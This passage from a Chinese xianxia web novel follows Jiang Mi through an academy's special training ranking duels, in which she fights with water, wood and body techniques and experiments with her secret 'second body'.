大半个月后,上次的教习再次找到她,直接说出来意:“你施术能力还行,半年后心宿即将举办友谊赛,心一院为比赛举办了特训,有没有意向?” 几人聚在食堂江弥才知道崔大三人也参加了。 崔大奇怪:“往期有举办特训吗?怎么觉得今年特别隆重?” 孙柏柔捏着筷子小声说:“还不是因为陆怀学长的事。” 启蒙院的比赛分三项,分别是如江弥这样打开心界的一阶之下,一阶修士和二阶修士,因为三阶的修士大多直升小术院,很少参与这种比赛。 陆怀是个另类,他多年前已升至三阶,但却并没有选择进入小术院,反而多次参加启蒙院比赛,还在极短时间内进阶四阶,心一院因此出足了名头。 但异世者事情出来后,心一院也因此被各院嘲讽,在各个场合中抬不起头来。 于是有了今年的特训。 周三和孙柏柔去年差点参加友谊赛,对赛规比他们了解得多。 周三说:“友谊赛允许参赛的共有三十人,一阶以下、一阶和二阶分别十人,心宿有二十三院,合计也有六百九十人,但能参加启蒙院大比的,只有三十人。” 也就是说,要参加启蒙院大比,必须在心宿友谊赛中排名前十。 孙柏柔崔大周三才进入一阶不到一年,要和那些在一阶待了数年的人比,难度很大啊。 其余几人也是这么想,但没人想要退出。 特训可是开小灶,不管大比进不进得去,开小灶的机会也不能放过啊! 特训开始最后几天,李二也去报名了。他的说法是,“你们都参加,我站在原地不思进取,不太像话。” 最终参与特训的共九十,三个阶层分别三十,特训结束只要前十名参与心宿友谊赛。 特训场所在甲楼,九十名学员站在大厅听讲话。 邢歌在二阶的队伍里,江弥很久没看到邢歌,再见差点没认出来,是邢歌冲她点头打招呼她才认出。 少女眼中的明亮活力褪去,却变得更坚定锐利。 一番全体讲话后,三队被带到各自训练的场所。 训练江弥小队的是一男一女教习,男教习姓方,中年光头,女教习梁姓,不苟言笑,看上去很严厉。 梁教习没让他们做任何介绍,直接安排对打。 她的原话是:“我不需要知道你们姓甚名谁,在这里呆了多久,喜欢什么。有没有资格让我记住你们的名字取决于你们的实力,现在,上来抽号,抽到相同数字比赛,谁赢谁拥有号码。” 三十人最终只要十人,号码有十五。 规则很简单,半年时间内谁拿到前十,谁拥有参加心宿友谊赛的资格。 在众人还没反应过来时,一名少年率先上去抽号,江弥对这人有印象,曾经在女教习课上跟他八卦的朱铭。 朱铭之后又有几人上前,江弥也过去抽签。 她的号码是三,有点靠前。 “你是三吗?我也是。”一个男孩瞥见江弥的数字,面上喜不自禁。 这神情。 江弥问:“你认识我?” 男孩挠头说:“你还挺有名的,‘一年不识字,识字用一年’,‘睡觉专业户’说的都是你。” 听着就不是个厉害的,也不怪三号是她会开心。 江弥对此没什么想法,点点头回到自己站位。 两个教习没多余废话,直接就让他们开打。 训练的地方很大,方教习画出五个圈,梁教习喊出前五组让他们在圈中打,十分草率,直接。 准备先观摩别人怎么打的江弥只能硬着头皮上了。 江弥和男孩将号码交给教习后进入圈内。 男孩行礼:“钱川。” 江弥也行礼:“江弥。” 话落,钱川率先出手,周身温度忽然变得灼热。 钱川在启蒙院的第三年,在乙楼学习五行术一年半,擅长火术和金术,他心知自己是攻击型选手,比试中占据主动就赢一半。 空中迅速浮现三颗大火球。 钱川口中低喝:“去!” 方教习摸着光秃秃的脑袋往这边看了眼,凝聚速度还行,控制能力有待提高。 他又去看对面的江弥,好奇江弥会如何应对,他听邀请江弥的教习说过,江弥只会水术。 只修一种五行术很容易被对手用相克属性掣肘,按理说江弥的水对上火,应该是具有优势的,但她的弱点整个乙楼都知晓,气不足。 弱点这么明显,总有过人之处才会被邀请。 火球高温辐射,扭曲空气飞速射来,形成一道粗犷火线,还未靠近江弥就感受到炙热的温度。 头发被热风吹乱,她没有去理会。 这是她第一次应对攻击,神情显得格外认真。 江弥忽然举起空无一物的右手,甩臂投射时衣袖被热风鼓动,下秒,一支半臂长的水箭从她指尖飞出,呼啸着直击中间火球。 力道和凝聚能力不错。 方教习在心中点评,随即摇头。 先不说水箭射偏的问题,水箭靠近火球前就会被高温影响,恐怕只能靠着冲力阻止一瞬,即便运气好拦住中间的火球,另外两颗火球也同样会击中她。 这么想着,意外陡生。 却见射偏的水箭震颤着从侧面射向火球,水箭在高温下升腾起白色水汽,先是箭尖,接着箭身。 忽然,震颤的箭尾化作水汽前猛地撞向火球,暗藏的冲力让直射江弥的火球偏向,砸向另一颗火球。 两颗火球偏离原定路线,在江弥脸颊三尺外转向,“砰”地砸向地面。 还有一颗火球! 方教习刚要抬手,就被梁教习止住:“看看。” 25. 025 《他们要我成为异世大佬》全本免费阅读 夜幕早已落下,食堂却灯火通明,不少学员从甲楼往这边赶,热闹得不像启蒙院的夜。 崔大扫了一圈,啧啧道:“心一院为了这次比赛也是拼了,连从不在晚上开火的食堂都开放。” 孙柏柔也被一天的训练累得不行,撑着脑袋没精打采地说:“教习不练完不让走,晚饭不开,大家都得饿死。” 周三这会儿没说话,只顾着低头吃饭。 相较之下,几人中一直打哈欠的江弥反倒要比她们精神许多,察觉孙柏柔想法,江弥摇着头比了四根手指说:“特向训练,睡倒四次。” 李二说:“我去梁教习那找她时,所有人都走了,就她一人躺在地板上。” 江弥还是被李二背着来食堂的。 孙柏柔捧着脸问:“这样太危险了,就没什么办法吗?” 她这也只是感叹一声,他们见江弥一年这么过来,也差不多习惯了。 江弥忽然说:“以后可能会好点。” 她已经能自如控制第二体,外放可维持一个时辰,不用像之前那样往死里开发极限。 接下来,她的重点是提高实力。 这次特训中,见过其他人实力后,她的弱点就变得极其明显。 梁教习虽然严肃,但办法确实有用,江弥察觉恢复气的速度变大了点,这让她越发珍惜这次的特训机会。 江弥刚说完,周三挑眉问:“你控制字灵了?” 另外几人也纷纷望来。 江弥歪头,细软的头发搭到额前:“虽然不是字灵……你们怎么知道?” 崔大发出倒吸声:“你你你……打算研究符文吗?” 孙柏柔惊叹:“竟然是真的!” 周三朝她竖了个大拇指。 李二也巴巴凑过来:“百神谱中仓圣造字,可一字平海,你能做到哪种程度?” 江弥将头发扒拉到一边,摇头说:“一个字也没控制住,肯定不能跟仓圣比,应该只是比符文厉害点。” 李二:“那也很厉害了。” 孙柏柔点点头:“第一次见你时我就觉得你很厉害,即便不是现在也是将来。果然,不愧是江弥!” 崔大也说:“孙柏柔直觉很准,我也信你。” 修真界中直觉也是一种能力,灵性高的人比常人更为敏锐,有时第六感比理性推断都要准确,所以巫道的占卜术更偏向灵性高之人。 江弥说:“那我努力变厉害,实现你的直觉。” 特训的三天时间里,训练场什么声音都有。 有人被教习用体术碾压,胳膊脱臼腿骨折地哭着被医修抬出去。 有人抗敏训练被火球吓得鼻涕眼泪狂流,整个训练场都是她的哭嚎。 有人被当做五行术的练习靶,腿上绑住锁链站在原地干挨,从修炼场下来时被医修绑成木乃伊。 而有的人只用站在最僻静的地方凝聚水球,累了睡,睡醒继续凝聚水球。 所有人下课时身上脸上带伤,只有她带着睡翘的呆毛和眼泪连天的哈欠离开。 特训的第四天,江弥和李二几人分别,刚踏入训练场就同时接受好几道目光。 她站到自己位子上,回想自己做过什么引人注意的事,但除了梁教习交给她的任务,貌似也没做什么啊。 人员陆陆续续到齐,今天没让他们分两拨训练。 方教习从外面进来,摸着锃亮的脑袋看着他们笑,是看热闹的不怀好意。 梁教习还是一丝不苟的样子,冲学员道:“今天是挑战日。第一天输了不服的,对自己拿的号码不满的,认为能打赢有号码的,你们今天都能发起挑战。现在!有号码的向后转!” 两排队伍面对面站立。 江弥对面的钱川眨眼,转而望向另一人,他不打算挑战江弥。 梁教习道:“没有号码的,走到你们想要挑战的号码面前。” 话落,对面十五人动起来,窸窸窣窣的声响过后,发起挑战的人都停下来。 江弥看着站她对面的男生,歪了下头,看到他身后的半数长队,以及长队中探头跟她笑着打招呼的朱铭。 这要怎么搞?群殴我一个? 江弥去看走过来的方教习,对上他笑哈哈看热闹的脸,只得扭头去看梁教习,干巴巴问:“还能多对一?” 梁教习:“一个一个来。” 江弥并没有很高兴,车轮战就意味着高消耗。 比试圈内江弥和发起挑战的男生相对而立,圈外不远处站着等待挑战的七人。 三天时间让训练场的三十人相互有个印象,初次挑战大家都很保守,没号码的大都挑战看上去不那么强的,江弥就是其一。 这就导致训练场发生这样一幕,要么跟江弥一样排着队等待挑战,要么没有人挑战到处观战。 钱川是挑战者,但排在他前面还有两人,他本打算观摩前两个挑战者的比试场景学习经验,但江弥那边实在太壮观,一半学员聚在附近看热闹。 想了想,钱川还是跑过去。 朱铭正看圈内两人颔首行礼来着,突然就被人挤了下,他刚要说话,看到是钱川,立马让出小半步问:“钱川是吧,来来来,一起看。” 钱川对他的热情一脸莫名,刚站稳就见和江弥对打的男生飞了出去,然后是其他学员惊呼和诧异声。 他一脸什么鬼的表情:“发生什么了?” 朱铭也满脸茫然,一句话的功夫比赛就结束了? 他连忙问一旁的学员怎么了,那学员也露出古怪神情:“没看清……好像一道浪拍来……就结束了。” 朱铭再去问另一学员,对方也“这就结束了?”问回来,两张茫然的脸对视两秒。 朱铭扭头去看钱川,胳膊搭他肩膀搭话:“你跟江弥打过,应该比较熟悉她的风格,她擅长什么?” 钱川被他的热情态度弄得不适应,还是说:“她擅长水术。” 只是水术吗? 朱铭望向被江弥打出圈的男生,他衣服上的水渍很明显,腹部和四肢的湿痕清晰,其他地方倒是干燥。 一道浪,能打出这种痕迹? “对手还没反应就攻击,她不觉得自己卑鄙吗?” “运气好而已,她又不可能一直运气好。” “我不信她天天睡觉也能打赢!” 食堂吐槽江弥的三人也在围观中,他们的小声议论被甩飞出去的男生听到,男生面色更加难看,却也没反驳。 忽然有人小声说“来了下一个来了”,围观议论的人平息下来,重新打起精神看向圈内。 第二名挑战的是个身量高挑的女生,她朝江弥抱拳后不给江弥先发制人的机会,就 26. 026 《他们要我成为异世大佬》全本免费阅读 第四个挑战者被水箭射中衣领飞出比试圈。 第五个挑战者一根细线拖出了比试圈。 面对江弥的一招秒,后面的挑战者都知道要先下手为强,可没一个人能快过她。 中间钱川出去打了一场回来,其他比试也都结束。 整个训练场只剩江弥这个,所有学员都围拢观看,他在外围进不去,一只手从人墙里伸出将他扯了进去。 朱铭拍拍他说:“我也要上了,好紧张!” 钱川猛然看过去:“你也挑战她了?” 朱铭看着再次被扔出比试圈的挑战者,紧张地深吸口气说:“我上了。” 钱川:“祝你好运。” 饶是江弥作战速度这么快,她也有点吃力了。 为了减少气的消耗,她的精神高度集中,观察挑战者出招的一瞬立即思索出应对之策。 但也在同时,第二体在西舍探索能力。 她的左侧识界没有气,江弥不确定是她没用第二体炼化过气,还是气无法进入左边识界。 毕竟识界右边的气无法进入左边。 还有一点她无法忽略,第二体是用系统的能量激活的,如果第二体无法用气修炼,那就只能用系统能量。 难不成她要去打劫其他异世者的系统? 这么想着,朱铭已经迎面攻来,他没用任何攻击术,而是施展乘风术速影到江弥跟前。 好快! 江弥心中诧异,手中术诀不停,十根水针分别堵死朱铭逼近的路线,可他身形犹如鬼魅,次次要撞上水针,却又险之又险地避开了。 这是第一个能跟上她眼睛的人。 很快江弥发现不是,朱铭没有做出任何提前规避的动作,而是在即将撞上水针时急速变换身形。 就是说,朱铭并非看穿她的术,而是一路凭借直觉直接莽过来。 崔大曾经说过,他最讨厌遇到拥有野兽直觉的对手,对方能通过本能反应避开攻击,根本就没法打。 江弥很快体会到崔大的感受。 朱铭的体术和格斗是江弥最欠缺的,他凭借直觉躲避江弥术诀,逼近她的一瞬抬手迅猛攻来,气劲抵住腰腹传来重压。 这个角度江弥没法躲,水刃瞬出,带着锐利声响切开朱铭手刀气劲,即将压向手掌时朱铭毫不恋战,急速收手后撤,却在侧身翻转时顺势抬腿踢来。 这一脚携了土势之威,被踢中少说也得断骨。 江弥不敢硬抗,只能借助乘风术的风力被迫闪躲,同时一条水浪携风压拍下,朱铭连退数步,两人距离再次拉开。 但很快,朱铭重新突破江弥的水术逼近。 朱铭的步步紧逼让江弥压力倍增,集中精力全力应付朱铭攻势。 场外的钱川看得眼花缭乱,比试两人动作迅猛,攻势毫不拖泥带水,几乎是打上头了,即便避开攻击后撤也要想方设法地给对方一击。 他还没看清朱铭动作朱铭就已经再次出招,而江弥更为诡异,若说朱铭拥有野兽般的直觉,那江弥背后一定有高人相助,因为他每次看到江弥即将被拳风砸中,立马就犹如神人在她肩上一点,她顺势倒下避开拳风。 看看看!就是这样!那一脚明明就要踢中她背,那个按下她后背的力道到底是从哪里来的?! 简直无语! 这是在场之人看着这怪异场景的共同心声。 这场比试进行的同时,西舍中第二体第五十八次尝试,仍旧无法捏出水术,连最简单的水滴也没有。 面对朱铭的高压攻击,江弥的注意力都集中在比试上,控制第二体的力量大大减弱,此时的第二体只剩要使出招式的执着。 身体本能让第二体改变了施术方式。 冒尖的小圈,弯曲的勾,藤蔓般的曲线…… 淡金色符号一个个浮现,犹如在森林中欢快舞动的精灵,它们扭动缠绕,又相互嵌合,正在形成一枚古朴悠扬的古字。 比试场上,施展水术击退朱铭的江弥刚松口气,随即惊恐地发现,第二体将“破土”给挖出来了! 要是在西舍弄出动静…… 江弥心惊肉跳,直接喊出声:“等等!” 专注比斗的朱铭忽然笑了下,一下将他从严肃状态脱离,变得活泼起来:“比试时可不兴等。” 下秒,刚被江弥拉开距离的朱铭转身,手肘攻向她背后,凝聚全身力量的重力猛地砸去。 江弥顾不及其他,此时只想让第二体停止所有举动,她不再压制力量和灵魂,将仅剩的气全部倾泻。 忽见一道三丈高的水瀑从天而降,巨大冲力让朱铭的攻势停顿一瞬,下秒,本该砸中背后的地方扑了个空。 朱铭一落地速影后退,警戒江弥紧随而来的水术,然而身上脸上的水痕接连滴答也没动静。 他抬眼望去,愣了下。 江弥浑身湿透地晕倒在圈线上。 寂静的训练场上只有滴答水声和水流哗哗。 “啊!” 钱川忽然从紧张刺激的打斗中回过神。 这道恍然声将其他人也一一惊醒,他们看向有些呆滞的朱铭,又去看躺在积水里昏过去的江弥。 “靠!我明明只是旁观啊,为什么这么激动?我心跳好快!” “终于有人不是被江弥一招甩飞了,哈哈哈!” “朱铭好样的!你现在是三号了,等着!” “你们有人注意到吗,她是不是超过一刻钟了?” “哎对,她不是只能坚持一刻钟?” “不是在隐藏实力吧?” 紧张寂静的气氛忽然沸腾起来,梁教习旁若无人地宣布比试结果,也不管有没有人听。 朱铭澎湃的血液还没冷却,好半晌他才确定自己赢了,但这个赢法…… 就像看到一男一女拉拉扯扯他脑补了八百个狗血剧情结果两人只是在推拉炼体术的感觉。 钱川小跑过来,朝他竖了个大拇指:“厉害啊!” 朱铭抓住钱川的手起来,扒拉湿透的头发,看到梁教习姿势熟练地扛起江弥往训练场外走,也跟了过去。 外面待命的医修一看是江弥,见她一身伤痕地出来,还颇为稀奇地检查了几遍。 “伤口不严重,就是累过头了。” 和之前一样的结论。 朱铭知道江弥有个用气超过一刻钟就晕的毛病,训练场的所有人每天都能看到,可再次听到这个诊 27. 027 《他们要我成为异世大佬》全本免费阅读 睁眼时江弥大脑还闷闷的,身体其他地方也隐隐作痛,忽然猛地坐起,她的第二体! 一股不容反抗的力气将她又按了回去。 给她换药的医修说:“别动,再等会儿就好。” 江弥瞪着眼睛看天花板,等医修说好了江弥才起身往外走,刚走到训练场,热火朝天的学员忽然静了一瞬,若有似无的目光瞥来,气氛有些古怪。 朱铭也看到她,正在对练的学员一脚踢来,他下意识闪躲,还不望跟江弥打招呼。 江弥点点头,若无其事地走到角落,准备继续练水球术,梁教习忽然将她叫过来:“从今天开始,你的特训内容改成木术和体术。” 江弥“哦”了声,然后说:“我不会木术,体术,嗯,也不太会。” 一旁的方教习笑骂:“不会你底气还挺足!” 梁教习面无表情说:“木术只教一次,看清楚。” 江弥立马认真看梁教习动作,不错过一丝变化。 如果说水术是形态万千,是刚柔并济,那么木术则是生机盎然,是柔韧不屈。 江弥对上火球能用水术灭之,却没法让二十根枝条断裂,只能卸去枝条抽力转战施术之人,这就是木术的神奇之处。 那双按住就能让学员无法动弹的手翻转,手心便如同种子发芽般抽出细嫩绿芽,绿芽飞快生长,很快高过江弥直冲头顶房屋。 这边动静引得其他学员停下动作望来,就在他们以为屋顶要被顶穿时,无数枝丫如伞盖般四面八方延伸,瞬间绿树成荫。 “我的脚!” 忽然有人惊呼着后退,便见不知何时细密的根须已经爬满地板,他们慌乱又激动的一边退一遍惊喊。 不过片刻,训练场化作一座幽密的绿林。 “这就是教习的木术?好厉害!” “我顶多抽出两棵树苗。” “这树根好像还在动,这样看真的好像潜伏在地上的蛇啊。” 梁教习手中的绿芽仍旧不粗壮,却没人再敢小看。 见江弥盯着她手心瞧,梁教习等了片刻,但江弥还在盯着,她问:“学会了吗?” 江弥很诚恳地摇头。 梁教习抬手一收,所有根叶尽数回笼消失,她指着江弥练水球术的角落:“自己琢磨。” 江弥的理解,气是万物,万物也是气,气是真实存在的,她用第七识“看到”万物是气的模样,那反过来也是成立的,气化作万物,便是术。 每个人对五行的理解不同,转变的术即便是同一种,也会有侧重和偏好。 火术中有人偏向高温,有人偏向爆炸,水术有人偏向箭、刃等攻击,也有人偏向卸力、降温等辅助。 正如江弥所说,每一种术形态万千,攻防皆宜。 但不同的术自带的属性也注定有偏向,所以更多人选择多种术结合。 江弥盘腿坐在角落,一边观察训练场上的学员,一边思索木术的特征。 江弥一觉睡了大半日,训练很快就结束了。 两位教习一走,朱铭走来角落上下看江弥:“你没事了?” 江弥还在琢磨木术,随意点头。 钱川也过来:“你水术那么厉害,真的不会木术?就这样那样,不就会了?” 江弥抬眼问他:“你会?” 钱川:“会啊,但不常用,火术金术比木术好用,攻击力强,我喜欢攻击力强的术法。” 朱铭闻言道:“攻击力最强,那不是兵修吗?你将来准备修兵灵?正好啊,我将来就准备走这道。” “谁说兵修最厉害的?”钱川立即反驳,“明明星修才是最厉害的!” 朱铭大退一步:“卧槽,你竟然是星迷!星修怎么比得过兵修,兵修一近身星修就得求饶,根本不可能打得过的好吧!” “怎么可能!”一个将来准备修星的学员听两人争执忍不住插嘴:“只要唤出星兽,就是同等阶的十个兵修都打不过!星修才是最厉害的!” “你以为星兽想唤就能唤?”一旁有人听不下去,他对星修兵修没想法,但这说法一听就天真得很,他讽刺:“修星之道,能契约本命星的只有百之二三,星兽更是万里无一,你去梦里找还有可能。” “怎么就没有?陆怀学长不就……” 声音戛然而止。 那学员怔了下,又闭上嘴。 各持意见的学员们如同点了穴,或怔然或失落,没人再争执下去了。 朱铭挠挠脖子,扭头江弥已不在,他问钱川:“人呢?” 钱川:“哦,她的同伴来找,就走了。” 朱铭也往外走,可惜说:“就这么走了,我还打算跟她再比一场啊。” 钱川想了想说:“有机会的,你现在三号,三日后江弥就能挑战回来了。” 朱铭:“有道理啊。” 和李二几人吃过饭的江弥一回西舍就进入识界。 识界内变化不大。 右边仍旧是光点,频繁练水术让她的光点增多。 左边第二体在河面躺着,闭眼沉睡中,凝聚“破土”似乎让她消耗很多,“破土”正在她躺的水面之下,泛着十分微弱的金光。 和最初第二体出现的金光一样。 江弥盯着“破土”观察半晌,又跑到河水另一边观察其他古字,最终得出结论:古字确实能被炼化。 她的识界有两种体系,一种是正常的修真界走仙梯,掌握并调用气,施展术法,一种是非正常的、和系统有关的金光。 金光和气是两种能量,而古字比较特殊,两种能量都能炼化。 金光明显比气更高级,从被气炼化了部分的“破土”能重新被金光转化可以看出。 还是要系统啊! 江弥不敢让第二体直接重复下午的行为,怕惊动教习前来查看,第二体也需要时间恢复,想了想,她把“破土”从河水里捞出来,放在第二体怀里。 不管有没有用,先试试。 刚摸清第二体修炼方式的江弥没高兴多久,就被残酷的体术训练折磨得半点喜悦感都没了。 “江弥太慢了,中午没吃饭?” “跑,给我跑!快,要追上来了哦!” “不准用乘风术,江弥,给我增加十圈!” 炼体术的不只江弥一人,但一天能被方教习喊十次的只有江弥。 不管在什么地方,只要有人,总会有那么几个拔尖的,引人注意的,比如朱铭,比如管玉,比如江弥。 朱铭是他强大的交际能力和冷厉的战斗风格形成极大反差,让人印象深刻。 管玉,也就是用木环攻击的女孩。她术法精湛,体术不错,战斗风格成熟,在一众学员中能力均衡且出众,是教习口中别人家的孩子。 而江弥,则是奇葩。 一大群被江弥挑战日的凶残吓到,原本对她有些畏惧,结果接下来的训练让他们大跌眼镜。 跑步,最后一个。 禁用术法的格斗,谁也打不过。 只允许用木术比试的挑战日,曾经将别人一招秒的江弥被一招秒了。 之前是他们看着江弥睡觉自己被教习按在地上摩擦,现在是他们看着江弥被教习按在地上摩擦。 不得不说,真的很爽。 现在看到江弥练木术睡过去也不觉得她幸福了,内心只会感叹,真惨啊,又晕过去了。 人心就是这么奇怪,实力强盛时觉得你高高在上,可从高处跌下来后又觉得你其实也没那么难以接近。 江弥休息时身边总会莫名聚集几人,交谈修炼或者吐槽教习,在食堂还有人跟 28. 028 《他们要我成为异世大佬》全本免费阅读 训练场上,江弥胳膊被方教习制住没法动,但教习仍在大喊:“江弥!起来!给我继续反抗!” 江弥:“起不来,胳膊断了。” 她被压在地上,声音闷闷的,很平淡。 “嘶——” 旁观的学员忍不住出声:“她不痛吗?” 特训每隔一段时间教习会考验学员各方面能力,他们私底下将其称作挨揍训练,区别是有人挨揍多,有人挨揍少。 江弥无疑是挨揍多的那种。 挨揍多就算了,她每次还都能用些小手段激怒方教习,导致教习下手没轻没重,断手是小事,有次她被打晕在地上教习还以为她气耗尽累晕过去,送去医修那一看,医修将方教习大骂了一顿。 但江弥不改,方教习也不改。 方教习松手,江弥垂着软下来的手去找医修治疗。 学员们看着这场景,不管看多少次都没法适应。 钱川忍不住摸自己胳膊:“每次看她跟教习对练,我都觉得痛的不是她,是我。” 朱铭摸着下巴说:“她体术进步很大。” “不止体术。”管玉抱臂说:“木术也是。” “连你也觉得啊,”钱川扭头好奇问,“你们谁的木术厉害?” 管玉看他一眼没说话。 朱铭撞他:“那还用说,肯定是管玉啊。” 被朱铭提醒钱川连忙说:“哎对对对。” “钱川,上来!”方教习朝这边喊。 钱川连忙苦着脸跑过去:“方教习下手轻点,我上次有点……啊啊啊啊痛痛痛,教习我错了!轻点轻点!” 朱铭抬手捂眼,不忍再看,其他人也深有同感的扭开视线。 看看,这才是正常人的反应。 管玉望向江弥离开的方向。 说来也是好玩,现在还关注江弥的基本是被她打败过的。 其他人因为江弥屡战屡败而不再感兴趣,提起她也不过是笑她睡觉和被压着打的事。 特训的第五个月,小队的排名几乎稳定下来,只有少数几人不稳定地上下浮动。 挑战规则在这期间做了次大调整。 前三个月,挑战规则是没有号码的先发起挑战。 在实力不确定的最初,这条规则让大家勇于发起挑战,激发斗志,号码变动频繁,但最终只会落在实力前十五的学员手里。 后三个月,挑战规则改成有号码的先发起挑战。 此时较强的都拥有号码,让没号码的挑战已经没有意义,这条规则让前十五相互竞争,最终手中的号码就是他们的实力排名。 这次的挑战日,江弥同被挑战者缠斗许久。 江弥动作敏捷迅速,气力爆发又快又准,对方也不逞多让,双方打得有来有回,一时无法分出胜负。 管玉刚从一场比试下来,路过江弥这场停下,围观片刻忽然问同样围观的学员:“江弥挑战的是几号?” 那人愣了下说:“他吗?他是十号。” 管玉点头,皱眉去看江弥。 江弥此时乘风成影,出拳的瞬间调动气,十号也用同样的方式回击,拳风碰撞激出肉眼可见的星火,两人同时后退数步。 “江弥胜。” 十号还要再攻,听到声音愣了下,这才发现不知不觉中他已经退到线圈边缘。 江弥成功挑完战十号去后方休息,几个女孩围过来,叽叽喳喳问她比赛的事情,江弥一遍揉着发麻的胳膊随口回答,一边观看不远处比试圈中的打斗。 视线忽然被人挡住。 江弥抬首对上管玉沉冷的目光,跟江弥说话的几个女孩噤声望来。 江弥等了会儿,管玉没其他反应,她便往侧边挪了挪继续看比试中对打的两人你来我往。 管玉再次挡住她视线,江弥只好问:“什么事?” “我希望你挑战我时态度是认真的。”管玉甩出这话后离开。 几个女孩奇怪问江弥:“你惹到她了?” 江弥认真回想:“没有吧。” 女孩好奇问:“她是一号诶,我看挑战她的都被打得很惨,你要小心。” 江弥茫然眨眼:“可我不打算挑战她啊。” 参加特训的学员心里都清楚,特训结束后只有十人会留下来,大家的目光都停在前十。 挑战十号的学员最多,十号的拥有者也是改变最频繁的,所以江弥拿到十号并没有引起注意。 可当十号变成九号,又上升到八号七号时,他们才注意到江弥。 管玉早有预料,却又忍不住心生急躁。 她和其他人一样,除了最开始的关注,后面并未在意江弥,但有一日她忽然发现,江弥维持在十五号未变。 从那时她就察觉哪里不对,偶尔注意江弥,但并没有特别的事发生,除了十五号,她和没号码的没有区别。 “你也发现了?”朱铭忽然问她。 管玉皱眉没说话,但朱铭早憋了一肚子话,找到知己般洋洋洒洒说起来。 “江弥的实力绝对不可能只是十五,更早前,她甚至没有拿到任何号码,你不觉得奇怪吗?” 管玉看朱铭的神情有些古怪,朱铭连忙解释:“哎我这不是差点被她打败了暗中收集情报吗,相信我,她绝对不止这点实力。” 面对朱铭满脸诉说欲望,管玉配合:“怎么说?” 朱铭神情立马雀跃起来 29. 029 《他们要我成为异世大佬》全本免费阅读 现在正是休息时间,江弥身旁坐着不少闲聊或者交流心得的学员,一号二号忽然来到这个角落,还同时发出比试邀请,场景属实罕见。 说话议论的纷纷停下来,明里暗里往这里看。 次次挑战管玉和朱铭次次失败的前十号都忍不住去看邀请对象。 江弥。 一路从十五号爬到七号,确实出风头。 但引得这两人一起发出挑战,有这么夸张吗? 钱川摸着脑袋过来时也刚听见两人说话,随即他听到江弥迟疑说:“这……不好吧。” 管玉皱眉:“你不愿意跟我打?” 她这语气像要跟人干架似的。 江弥拨了下手腕上的叶子说:“今天不是挑战日。” 管玉问:“挑战日你会主动挑战我?” 江弥:“倒也不是。” 钱川听的一头雾水,这什么跟什么啊? 朱铭蹲下来,两手搭在膝上笑着说:“这样如何,我们打一场,我陪你炼体术,但你必须用上水术。” 果然,江弥脸上浮现犹豫,半晌她还是摇头:“还是不了。” 朱铭垮下脸:“为什么啊!你不是想练体术吗?我体术还不错,这样你也不用去找其他人了。” 江弥摇头:“教习会让我们在训练场中心抱着给人围观,太丢人了。” 众人心里齐齐大喊:你还知道丢人?你被教习按着打就用木刺偷偷戳他屁股时没想过丢人吗?他现在跟我们训练都将屁股护得死死的!你有考虑过教习的感受吗?有考虑过我们被你挑战时的感受吗? “打吧,”从门口走来的方教习大手一挥,“我准了。” 特训接近尾声,学员的实力几乎固定下来,半天训练也起不到提升效果,倒不如让他们自由切磋。 紧随其后的梁教习也没什么情绪说:“今天下午自由挑战,不计排名。” “我们能只围观不参与挑战吗?”钱川举手发问。 方教习大手呼他后脑勺:“又偷懒!” 但也没说不行。 学员们欢呼一声,相互找人友善切磋,当然,大部分站在原地没动,等着朱铭和江弥的比赛。 都到了这份上,江弥自然不会说什么。 她从地上站起,手腕的枝丫消失,和朱铭进最近的比试圈。 众人纷纷找好围观的位子坐下。 管玉站在后方抱臂观看,钱川想了想,也站在一旁没靠近,这两人打起来,指不定会伤及无辜。 江弥刚准备颔首,朱铭强调:“水术。” 江弥未应,但抬手便是水箭攻击,水箭破空发出尖锐声响,朱铭莫名笑了声,看得一旁观战的人很是无语。 众人只能看见水箭疾驰而过,朱铭在水箭到来前一刻偏头躲开,也在同时速影冲向江弥,携带风力的拳头在砸向江弥的瞬间猛地爆发。 江弥心中战意忽的被点燃。 第一次同朱铭对战时她根本无法让朱铭近身,水术近战不占优势,朱铭的体术又太强,她只能一次次拉开距离又被欺近,躲得很是狼狈。 但这次不同了。 拳风震开的气浪掀起她的发丝,压迫感十足,江弥没有硬接而是闪身躲开这拳,同时五指成爪锁他喉。 卧槽这么狠! 朱铭心里大喊,反应却极快,后仰的同时左手成掌化作手刀拦住这招,江弥五指撞上硬物,气劲寸寸碎裂,原是朱铭用金术将手掌硬化。 这招不错,江弥刚这么想,朱铭手刀成爪解除硬化,擒拿缠住她手臂,猛地往前一拽,同时屈膝往她腰腹砸。 这招膝顶没留力,江弥甚至感受到土势之威,一旦砸中肋骨尽碎。 两人出手招招带着狠劲儿,力道和速度压迫感十足。 江弥右手被朱铭锁死避无可避,凝聚大量水球缓冲袭上腹部的大力争取时间,随即腰腿发力腾空转身,从朱铭手中抽出右手。 砰砰砰的水球碎裂声中,夹杂着清脆的咔嚓声,听得他们头皮发麻。 为了脱身硬生生将自己胳膊扯断,是个狠人! 然而再看去,那咔嚓声哪里是江弥的骨碎声,明明是木术后的树枝藤蔓断裂。 竟是金蝉脱壳! 朱铭甩掉捏碎的树渣,脚下风力一转,半空翻转刚落地的江弥迎来朱铭一击扫腿。 这个动作很难借势闪躲,江弥用老办法,乘风先朱铭一步,被绊倒的同时腰腿发力,腾空抬腿扫击,正对朱铭太阳穴。 朱铭一击落空,没有丝毫停顿曲肘格挡,但江弥腿风力道之大仍旧让他连退数步,他晃了晃有些震荡的脑袋,忽觉危险袭来,身体下意识向后翻仰,三枚水针擦着脖颈皮肤飞过。 危机还没解除! 朱铭顺应直觉闪身,速影饶圈而行,接着就见数根水箭在他抬脚的瞬间贴着脚后跟钉入地面,凶险万分! 江弥曾找李二崔大私下练过,体术提升很多,可面对拥有野兽直觉的朱铭仍旧胜算不大。 但她的优势是施术,拉开距离就该朱铭逃了。 于是众人看着朱铭一刻不停的满圈乱跑,还没反应过来时他已经用怪异而扭曲的姿势同时避开来自脖颈、胸口和四肢的攻击。 险象环生又令人惊心胆战。 朱铭也知这点,可他的土术和金术在江弥的连番攻击下无从施展,单凭术也无法和江弥对拼,局势瞬间处于劣势。 朱铭没有因此慌乱,反倒更为冷静地在闪躲中观察江弥,借着逃窜的动作顺势靠近,等待机会。 江弥的动作忽然有些凝滞。 就是现在! 朱铭忽的蓄气直冲,任由不大不小的攻击落在身上,迅猛得如同一只猎食的豹子,速度之快让他耳边风声呼啸。 站在圈边的江弥眨了下眼,左眼在此时发病。 她想过左眼可能会在关键时刻给她带来生命危险,也刻意训练过疼痛和单眼视力,为了不让人察觉异常,她甚至能做到眼泪未落而消失。 